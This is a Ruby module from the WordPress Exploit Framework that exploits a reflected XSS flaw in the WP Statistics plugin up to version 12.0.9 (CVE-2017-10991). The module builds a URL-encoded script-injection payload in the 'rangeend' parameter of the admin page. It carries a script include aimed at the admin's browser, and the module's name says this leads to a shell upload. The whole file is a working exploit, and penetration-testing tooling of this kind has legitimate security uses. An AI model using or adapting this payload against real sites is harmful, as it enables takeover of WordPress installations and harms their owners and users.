# frozen_string_literal: true

class Wpxf::Exploit::WpStatistics1209ReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'WP Statistics <= 12.0.9 Reflected XSS Shell Upload',
      author: [
        'LoRexxar',  # Dislosure
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8866'],
        ['CVE', '2017-10991'],
        ['URL', 'https://lorexxar.cn/2017/07/07/WordPress%20WP%20Statistics%20authenticated%20xss%20Vulnerability(WP%20Statistics%20-=12.0.9)/']
      ],
      date: 'Jul 07 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wp-statistics', '12.0.10')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def xss_payload
    url_encode("#{Utility::Text.rand_numeric(4)}\"><script>#{xss_ascii_encoded_include_script}</script><a href=\"")
  end

  def url_with_xss
    "#{vulnerable_url}?page=wps_referrers_page&rangeend=#{xss_payload}"
  end
end
